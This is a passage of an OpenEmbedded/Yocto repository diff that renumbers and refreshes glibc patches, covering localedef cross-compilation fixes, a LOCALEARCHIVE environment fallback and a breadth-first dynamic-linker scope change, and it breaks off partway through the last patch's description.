+ locale/localeinfo.h | 2 +-
+ locale/programs/charmap-dir.c | 6 ++++
+ locale/programs/ld-collate.c | 17 +++++-----
+ locale/programs/ld-ctype.c | 27 ++++++++--------
+ locale/programs/ld-time.c | 31 ++++++++++++------
+ locale/programs/linereader.c | 2 +-
+ locale/programs/localedef.c | 8 +++++
+ locale/programs/locfile.c | 5 ++-
+ locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
+ locale/setlocale.c | 29 -----------------
+ 12 files changed, 167 insertions(+), 68 deletions(-)
+ create mode 100644 locale/catnames.c
+
+diff --git a/locale/Makefile b/locale/Makefile
+index b7c60681fa..07c606cde3 100644
+--- a/locale/Makefile
++++ b/locale/Makefile
+@@ -26,7 +26,8 @@ headers = langinfo.h locale.h bits/locale.h \
+ bits/types/locale_t.h bits/types/__locale_t.h
+ routines = setlocale findlocale loadlocale loadarchive \
+ localeconv nl_langinfo nl_langinfo_l mb_cur_max \
+- newlocale duplocale freelocale uselocale
++ newlocale duplocale freelocale uselocale \
++ catnames
+ tests = tst-C-locale tst-locname tst-duplocale
+ tests-container = tst-localedef-path-norm
+ categories = ctype messages monetary numeric time paper name \
+diff --git a/locale/catnames.c b/locale/catnames.c
+new file mode 100644
+index 0000000000..538f3f5edb
+--- /dev/null
++++ b/locale/catnames.c
+@@ -0,0 +1,46 @@
++/* Copyright (C) 2006 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, write to the Free
++ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
++ 02111-1307 USA. */
++
++#include "localeinfo.h"
++
++/* Define an array of category names (also the environment variable names). */
++const struct catnamestr_t _nl_category_names attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ category_name,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++/* An array of their lengths, for convenience. */
++const uint8_t _nl_category_name_sizes[] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = sizeof (category_name) - 1,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ [LC_ALL] = sizeof ("LC_ALL") - 1
++ };
+diff --git a/locale/localeinfo.h b/locale/localeinfo.h
+index 22f9dc1140..fa31b3c5ea 100644
+--- a/locale/localeinfo.h
++++ b/locale/localeinfo.h
+@@ -230,7 +230,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
+ unused. We can manage this playing some tricks with weak references.
+ But with thread-local locale settings, it becomes quite ungainly unless
+ we can use __thread variables. So only in that case do we attempt this. */
+-#ifndef SHARED
++#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
+ # include <tls.h>
+ # define NL_CURRENT_INDIRECT 1
+ #endif
+diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
+index 4841bfd05d..ffcba1fd79 100644
+--- a/locale/programs/charmap-dir.c
++++ b/locale/programs/charmap-dir.c
+@@ -18,7 +18,9 @@
+ #include <errno.h>
+ #include <fcntl.h>
+ #include <libintl.h>
++#ifndef NO_UNCOMPRESS
+ #include <spawn.h>
++#endif
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
+ return closedir (dir);
+ }
+
++#ifndef NO_UNCOMPRESS
+ /* Creates a subprocess decompressing the given pathname, and returns
+ a stream reading its output (the decompressed data). */
+ static
+@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
+ }
+ return NULL;
+ }
++#endif
+
+ /* Opens a charmap for reading, given its name (not an alias name). */
+ FILE *
+@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
+ if (stream != NULL)
+ return stream;
+
++#ifndef NO_UNCOMPRESS
+ memcpy (p, ".gz", 4);
+ stream = fopen_uncompressed (pathname, "gzip");
+ if (stream != NULL)
+@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
+ stream = fopen_uncompressed (pathname, "bzip2");
+ if (stream != NULL)
+ return stream;
++#endif
+
+ return NULL;
+ }
+diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
+index b6406b775d..bfa4adba9c 100644
+--- a/locale/programs/ld-collate.c
++++ b/locale/programs/ld-collate.c
+@@ -349,7 +349,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
+ }
+ if (wcs != NULL)
+ {
+- size_t nwcs = wcslen ((wchar_t *) wcs);
++ size_t nwcs = wcslen_uint32 (wcs);
+ uint32_t zero = 0;
+ /* Handle <U0000> as a single character. */
+ if (nwcs == 0)
+@@ -1775,8 +1775,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
+
+ if ((*eptr)->nwcs == runp->nwcs)
+ {
+- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
+- (wchar_t *) runp->wcs, runp->nwcs);
++ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
+
+ if (c == 0)
+ {
+@@ -2003,9 +2002,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ one consecutive entry. */
+ if (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1))
+ {
+@@ -2029,9 +2028,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ runp = runp->wcnext;
+ while (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1));
+
+diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
+index 2fb579bbbf..d0be99581c 100644
+--- a/locale/programs/ld-ctype.c
++++ b/locale/programs/ld-ctype.c
+@@ -915,7 +915,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
+ allocate_arrays (ctype, charmap, ctype->repertoire);
+
+ default_missing_len = (ctype->default_missing
+- ? wcslen ((wchar_t *) ctype->default_missing)
++ ? wcslen_uint32 (ctype->default_missing)
+ : 0);
+
+ init_locale_data (&file, nelems);
+@@ -1927,7 +1927,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
+ ignore = 1;
+ else
+ /* This value is usable. */
+- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
++ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
+
+ first = 0;
+ }
+@@ -2461,8 +2461,8 @@ with character code range values one must use the absolute ellipsis `...'"));
+ }
+
+ handle_tok_digit:
+- class_bit = _ISwdigit;
+- class256_bit = _ISdigit;
++ class_bit = BITw (tok_digit);
++ class256_bit = BIT (tok_digit);
+ handle_digits = 1;
+ goto read_charclass;
+
+@@ -3904,8 +3904,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+
+ while (idx < number)
+ {
+- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
+- (const wchar_t *) runp->from);
++ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
+ if (res == 0)
+ {
+ replace = 1;
+@@ -3942,11 +3941,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ for (size_t cnt = 0; cnt < number; ++cnt)
+ {
+ struct translit_to_t *srunp;
+- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
++ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
++ to_len += wcslen_uint32 (srunp->str) + 1;
+ srunp = srunp->next;
+ }
+ /* Plus one for the extra NUL character marking the end of
+@@ -3970,18 +3969,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ ctype->translit_from_idx[cnt] = from_len;
+ ctype->translit_to_idx[cnt] = to_len;
+
+- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
+- (const wchar_t *) sorted[cnt]->from, len);
++ len = wcslen_uint32 (sorted[cnt]->from) + 1;
++ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
++ sorted[cnt]->from, len);
+ from_len += len;
+
+ ctype->translit_to_idx[cnt] = to_len;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- len = wcslen ((const wchar_t *) srunp->str) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
+- (const wchar_t *) srunp->str, len);
++ len = wcslen_uint32 (srunp->str) + 1;
++ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
++ srunp->str, len);
+ to_len += len;
+ srunp = srunp->next;
+ }
+diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
+index dcd2a2386d..6814740325 100644
+--- a/locale/programs/ld-time.c
++++ b/locale/programs/ld-time.c
+@@ -220,8 +220,10 @@ No definition for %s category found"), "LC_TIME");
+ }
+ else
+ {
++ static const uint32_t wt_fmt_ampm[]
++ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
+ time->t_fmt_ampm = "%I:%M:%S %p";
+- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
++ time->wt_fmt_ampm = wt_fmt_ampm;
+ }
+ }
+
+@@ -231,7 +233,7 @@ No definition for %s category found"), "LC_TIME");
+ const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
+ 31, 31, 30, 31 ,30, 31 };
+ size_t idx;
+- wchar_t *wstr;
++ uint32_t *wstr;
+
+ time->era_entries =
+ (struct era_data *) xmalloc (time->num_era
+@@ -457,18 +459,18 @@ No definition for %s category found"), "LC_TIME");
+ }
+
+ /* Now generate the wide character name and format. */
+- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
++ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
+ if (wstr != NULL)
+ {
+- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
+- wstr = wcschr (wstr + 1, L':'); /* end name */
++ time->era_entries[idx].wname = wstr + 1;
++ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
+ if (wstr != NULL)
+ {
+ *wstr = L'\0';
+- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
++ time->era_entries[idx].wformat = wstr + 1;
+ }
+ else
+ time->era_entries[idx].wname =
+@@ -527,7 +529,16 @@ No definition for %s category found"), "LC_TIME");
+ if (time->date_fmt == NULL)
+ time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
+ if (time->wdate_fmt == NULL)
+- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
++ {
++ static const uint32_t wdate_fmt[] =
++ { '%','a',' ',
++ '%','b',' ',
++ '%','e',' ',
++ '%','H',':','%','M',':','%','S',' ',
++ '%','Z',' ',
++ '%','Y',0 };
++ time->wdate_fmt = wdate_fmt;
++ }
+ }
+
+
+diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
+index 96d3ab66db..3af379d2c3 100644
+--- a/locale/programs/linereader.c
++++ b/locale/programs/linereader.c
+@@ -595,7 +595,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
+ {
+ int return_widestr = lr->return_widestr;
+ char *buf;
+- wchar_t *buf2 = NULL;
++ uint32_t *buf2 = NULL;
+ size_t bufact;
+ size_t bufmax = 56;
+
+diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
+index 832c8fd1fc..fe689b3ae1 100644
+--- a/locale/programs/localedef.c
++++ b/locale/programs/localedef.c
+@@ -109,6 +109,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
+ #define OPT_NO_WARN 402
+ #define OPT_WARN 403
+ #define OPT_NO_HARD_LINKS 404
++#define OPT_UINT32_ALIGN 405
+
+ /* Definitions of arguments for argp functions. */
+ static const struct argp_option options[] =
+@@ -153,6 +154,8 @@ static const struct argp_option options[] =
+ N_("Generate little-endian output") },
+ { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
+ N_("Generate big-endian output") },
++ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
++ N_("Set the target's uint32_t alignment in bytes (default 4)") },
+ { NULL, 0, NULL, 0, NULL }
+ };
+
+@@ -243,12 +246,14 @@ main (int argc, char *argv[])
+ ctype locale. (P1003.2 4.35.5.2) */
+ setlocale (LC_CTYPE, "POSIX");
+
++#ifndef NO_SYSCONF
+ /* Look whether the system really allows locale definitions. POSIX
+ defines error code 3 for this situation so I think it must be
+ a fatal error (see P1003.2 4.35.8). */
+ if (sysconf (_SC_2_LOCALEDEF) < 0)
+ record_error (3, 0, _("\
+ FATAL: system does not define `_POSIX2_LOCALEDEF'"));
++#endif
+
+ /* Process charmap file. */
+ charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
+@@ -400,6 +405,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
+ /* Do not hard link to other locales. */
+ hard_links = false;
+ break;
++ case OPT_UINT32_ALIGN:
++ uint32_align_mask = strtol (arg, NULL, 0) - 1;
++ break;
+ case 'c':
+ force_output = 1;
+ break;
+diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
+index 0f1affa1d4..7d86fae801 100644
+--- a/locale/programs/locfile.c
++++ b/locale/programs/locfile.c
+@@ -544,6 +544,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
+ machine running localedef. */
+ bool swap_endianness_p;
+
++/* The target's value of __align__(uint32_t) - 1. */
++unsigned int uint32_align_mask = 3;
++
+ /* When called outside a start_locale_structure/end_locale_structure
+ or start_locale_prelude/end_locale_prelude block, record that the
+ next byte in FILE's obstack will be the first byte of a new element.
+@@ -621,7 +624,7 @@ add_locale_string (struct locale_file *file, const char *string)
+ void
+ add_locale_wstring (struct locale_file *file, const uint32_t *string)
+ {
+- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
++ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
+ }
+
+ /* Record that FILE's next element is the 32-bit integer VALUE. */
+diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
+index c986d599ec..222a779176 100644
+--- a/locale/programs/locfile.h
++++ b/locale/programs/locfile.h
+@@ -71,6 +71,8 @@ extern void write_all_categories (struct localedef_t *definitions,
+
+ extern bool swap_endianness_p;
+
++extern unsigned int uint32_align_mask;
++
+ /* Change the output to be big-endian if BIG_ENDIAN is true and
+ little-endian otherwise. */
+ static inline void
+@@ -89,7 +91,8 @@ maybe_swap_uint32 (uint32_t value)
+ }
+
+ /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_array (uint32_t *array, size_t n)
+ {
+ if (swap_endianness_p)
+@@ -99,7 +102,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
+
+ /* Like maybe_swap_uint32_array, but the array of N elements is at
+ the end of OBSTACK's current object. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
+ {
+ maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
+@@ -276,4 +280,55 @@ extern void identification_output (struct localedef_t *locale,
+ const struct charmap_t *charmap,
+ const char *output_path);
+
++static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
++static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
++static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
++static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++
++static size_t
++wcslen_uint32 (const uint32_t *str)
++{
++ size_t len = 0;
++ while (str[len] != 0)
++ len++;
++ return len;
++}
++
++static int
++wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ while (n-- != 0)
++ {
++ int diff = *s1++ - *s2++;
++ if (diff != 0)
++ return diff;
++ }
++ return 0;
++}
++
++static int
++wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
++{
++ while (*s1 != 0 && *s1 == *s2)
++ s1++, s2++;
++ return *s1 - *s2;
++}
++
++static uint32_t *
++wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ return memcpy (s1, s2, n * sizeof (uint32_t));
++}
++
++static uint32_t *
++wcschr_uint32 (const uint32_t *s, uint32_t ch)
++{
++ do
++ if (*s == ch)
++ return (uint32_t *) s;
++ while (*s++ != 0);
++ return 0;
++}
++
+ #endif /* locfile.h */
+diff --git a/locale/setlocale.c b/locale/setlocale.c
+index 19ed85ae8e..f28ca11446 100644
+--- a/locale/setlocale.c
++++ b/locale/setlocale.c
+@@ -63,35 +63,6 @@ static char *const _nl_current_used[] =
+
+ #endif
+
+-
+-/* Define an array of category names (also the environment variable names). */
+-const struct catnamestr_t _nl_category_names attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- category_name,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-/* An array of their lengths, for convenience. */
+-const uint8_t _nl_category_name_sizes[] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = sizeof (category_name) - 1,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- [LC_ALL] = sizeof ("LC_ALL") - 1
+- };
+-
+-
+ #ifdef NL_CURRENT_INDIRECT
+ # define WEAK_POSTLOAD(postload) weak_extern (postload)
+ #else
diff --git a/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
deleted file mode 100644
index 7cbf6811a1..0000000000
--- a/meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From c5fd8a3d336b8288f631fb6b6dd85f9d1076f25b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:42:06 -0700
-Subject: [PATCH 23/29] localedef --add-to-archive uses a hard-coded locale
- path
-
-it doesn't exist in normal use, and there's no way to pass an
-alternative filename.
-
-Add a fallback of $LOCALEARCHIVE from the environment, and allow
-creation of new locale archives that are not the system archive.
-
-Upstream-Status: Inappropriate (OE-specific)
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
- 1 file changed, 25 insertions(+), 10 deletions(-)
-
-diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
-index dccaf04e3b..ae0b7fe155 100644
---- a/locale/programs/locarchive.c
-+++ b/locale/programs/locarchive.c
-@@ -340,12 +340,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
- struct namehashent *oldnamehashtab;
- struct locarhandle new_ah;
- size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
-- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
-- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
-+ char *archivefname;
-+ char *fname;
-+ char *envarchive = getenv("LOCALEARCHIVE");
-
-- if (output_prefix)
-- memcpy (archivefname, output_prefix, prefix_len);
-- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ if (envarchive != NULL)
-+ {
-+ archivefname = xmalloc(strlen(envarchive) + 1);
-+ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
-+ strcpy (archivefname, envarchive);
-+ }
-+ else
-+ {
-+ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
-+ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
-+ if (output_prefix)
-+ memcpy (archivefname, output_prefix, prefix_len);
-+ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
-+ }
- strcpy (stpcpy (fname, archivefname), ".XXXXXX");
-
- /* Not all of the old file has to be mapped. Change this now this
-@@ -569,10 +581,13 @@ open_archive (struct locarhandle *ah, bool readonly)
- /* If ah has a non-NULL fname open that otherwise open the default. */
- if (archivefname == NULL)
- {
-- archivefname = default_fname;
-- if (output_prefix)
-- memcpy (default_fname, output_prefix, prefix_len);
-- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ archivefname = getenv("LOCALEARCHIVE");
-+ if (archivefname == NULL) {
-+ archivefname = default_fname;
-+ if (output_prefix)
-+ memcpy (default_fname, output_prefix, prefix_len);
-+ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
-+ }
- }
-
- while (1)
-@@ -585,7 +600,7 @@ open_archive (struct locarhandle *ah, bool readonly)
- the default locale archive we ignore the failure and
- list an empty archive, otherwise we print an error
- and exit. */
-- if (errno == ENOENT && archivefname == default_fname)
-+ if (errno == ENOENT)
- {
- if (readonly)
- {
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch b/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
deleted file mode 100644
index 02e73594a0..0000000000
--- a/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From dffa52364f8c54c455b2459ebe83f05cb6ffc9fc Mon Sep 17 00:00:00 2001
-From: Mark Hatle <mark.hatle@windriver.com>
-Date: Thu, 18 Aug 2016 14:07:58 -0500
-Subject: [PATCH 24/29] elf/dl-deps.c: Make _dl_build_local_scope breadth first
-
-According to the ELF specification:
-
-When resolving symbolic references, the dynamic linker examines the symbol
-tables with a breadth-first search.
-
-This function was using a depth first search. By doing so the conflict
-resolution reported to the prelinker (when LD_TRACE_PRELINKING=1 is set)
-was incorrect. This caused problems when their were various circular
-dependencies between libraries. The problem usually manifested itself by
-the wrong IFUNC being executed.
-
-[BZ# 20488]
-
-Upstream-Status: Submitted [libc-alpha]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- elf/dl-deps.c | 14 ++++++++++----
- 1 file changed, 10 insertions(+), 4 deletions(-)
-
-diff --git a/elf/dl-deps.c b/elf/dl-deps.c
-index b5a43232a7..8aa8f37fa3 100644
---- a/elf/dl-deps.c
-+++ b/elf/dl-deps.c
-@@ -73,13 +73,19 @@ _dl_build_local_scope (struct link_map **list, struct link_map *map)
- {
- struct link_map **p = list;
- struct link_map **q;
-+ struct link_map **r;
-
- *p++ = map;
- map->l_reserved = 1;
-- if (map->l_initfini)
-- for (q = map->l_initfini + 1; *q; ++q)
-- if (! (*q)->l_reserved)
-- p += _dl_build_local_scope (p, *q);
-+
-+ for (r = list; r < p; ++r)
-+ if ((*r)->l_initfini)
-+ for (q = (*r)->l_initfini + 1; *q; ++q)
-+ if (! (*q)->l_reserved)
-+ {
-+ *p++ = *q;
-+ (*q)->l_reserved = 1;
-+ }
- return p - list;
- }
-
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
new file mode 100644
index 0000000000..50c2e14735
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
@@ -0,0 +1,80 @@
+From 13bc0e53cc91e102472d532f28b3d44c30d291fc Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Aug 2018 09:42:06 -0700
+Subject: [PATCH] localedef --add-to-archive uses a hard-coded locale path
+
+it doesn't exist in normal use, and there's no way to pass an
+alternative filename.
+
+Add a fallback of $LOCALEARCHIVE from the environment, and allow
+creation of new locale archives that are not the system archive.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
+ 1 file changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
+index f38e835c52..8d8f8699b2 100644
+--- a/locale/programs/locarchive.c
++++ b/locale/programs/locarchive.c
+@@ -340,12 +340,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
+ struct namehashent *oldnamehashtab;
+ struct locarhandle new_ah;
+ size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
+- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
+- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
++ char *archivefname;
++ char *fname;
++ char *envarchive = getenv("LOCALEARCHIVE");
+
+- if (output_prefix)
+- memcpy (archivefname, output_prefix, prefix_len);
+- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ if (envarchive != NULL)
++ {
++ archivefname = xmalloc(strlen(envarchive) + 1);
++ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
++ strcpy (archivefname, envarchive);
++ }
++ else
++ {
++ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
++ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
++ if (output_prefix)
++ memcpy (archivefname, output_prefix, prefix_len);
++ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ }
+ strcpy (stpcpy (fname, archivefname), ".XXXXXX");
+
+ /* Not all of the old file has to be mapped. Change this now this
+@@ -569,10 +581,13 @@ open_archive (struct locarhandle *ah, bool readonly)
+ /* If ah has a non-NULL fname open that otherwise open the default. */
+ if (archivefname == NULL)
+ {
+- archivefname = default_fname;
+- if (output_prefix)
+- memcpy (default_fname, output_prefix, prefix_len);
+- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ archivefname = getenv("LOCALEARCHIVE");
++ if (archivefname == NULL) {
++ archivefname = default_fname;
++ if (output_prefix)
++ memcpy (default_fname, output_prefix, prefix_len);
++ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ }
+ }
+
+ while (1)
+@@ -585,7 +600,7 @@ open_archive (struct locarhandle *ah, bool readonly)
+ the default locale archive we ignore the failure and
+ list an empty archive, otherwise we print an error
+ and exit. */
+- if (errno == ENOENT && archivefname == default_fname)
++ if (errno == ENOENT)
+ {
+ if (readonly)
+ {
diff --git a/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch b/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
new file mode 100644
index 0000000000..fb0a609dbb
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
@@ -0,0 +1,53 @@
+From 50b605dece16606dd9d1c737e579c13725eab11d Mon Sep 17 00:00:00 2001
+From: Mark Hatle <mark.hatle@windriver.com>
+Date: Thu, 18 Aug 2016 14:07:58 -0500
+Subject: [PATCH] elf/dl-deps.c: Make _dl_build_local_scope breadth first
+
+According to the ELF specification:
+
+When resolving symbolic references, the dynamic linker examines the symbol
+tables with a breadth-first search.
+
+This function was using a depth first search. By doing so the conflict
+resolution reported to the prelinker (when LD_TRACE_PRELINKING=1 is set)
